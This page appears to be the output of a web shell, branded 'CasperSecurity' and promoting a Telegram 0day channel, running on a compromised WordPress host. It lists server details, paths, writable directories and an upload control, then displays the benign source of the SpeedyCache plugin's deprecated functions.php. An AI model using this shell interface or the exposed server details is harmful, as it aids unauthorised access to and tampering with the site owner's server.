T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/powermectin.com/public_html/wp-content/plugins/speedycache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/powermectin.com/public_html/wp-content/plugins/speedycache/functions.php
<?php

// functions.php is deprecated in favour of a classed based UTIL
// So try not to use any function from this file in any new code,
// as this file will be removed from future versions.

if(!defined('ABSPATH')){
	die('HACKING ATTEMPT!');
}

// Check if a field is posted via GET else return default value
// Deprecated since 1.2.0 use Util::sanitize_get
function speedycache_optget($name, $default = ''){
	
	if(!empty($_GET[$name])){
		return \SpeedyCache\Util::sanitize_get($name);
	}
	
	return $default;	
}

// Deprecated since 1.2.0 use Util::sanitize_request
function speedycache_optreq($name, $default = ''){

	if(!empty($_REQUEST[$name])){
		return \SpeedyCache\Util::sanitize_request($name);
	}
	
	return $default;	
}

// Deprecated since 1.2.0 use Util::sanitize_server
function speedycache_optserver($index, $default = ''){
	return !empty($index) && !empty($_SERVER[$index]) ? sanitize_text_field(wp_unslash($_SERVER[$index])) : $default;
}

// Check if a field is posted via POST else return default value
// Deprecated since 1.2.0 use Util::sanitize_post
function speedycache_optpost($name, $default = ''){
	
	if(!empty($_POST[$name])){
		return \SpeedyCache\Util::sanitize_post($name);
	}
	
	return $default;	
}

// Deprecated since 1.2.0 nonce is handled on in each ajax function
function speedycache_verify_nonce($nonce, $nonce_name){
	if(!wp_verify_nonce($nonce, $nonce_name)){
		wp_send_json(array('success' => false, 'message' => 'Security check failed'));
	}
}

// Deprecated since 1.2.0 use Util::cache_path
function speedycache_cache_path($loc = ''){
	if(!empty($loc)){
		$loc = trim($loc, '/');
	}
	
	return \SpeedyCache\Util::cache_path($loc);
}

// Checks if the given plugin active
// Deprectaed do not use it
function speedycache_is_plugin_active($plugin){
	return in_array($plugin, (array) get_option('active_plugins', array()), true);
}

CasperSecurity Mini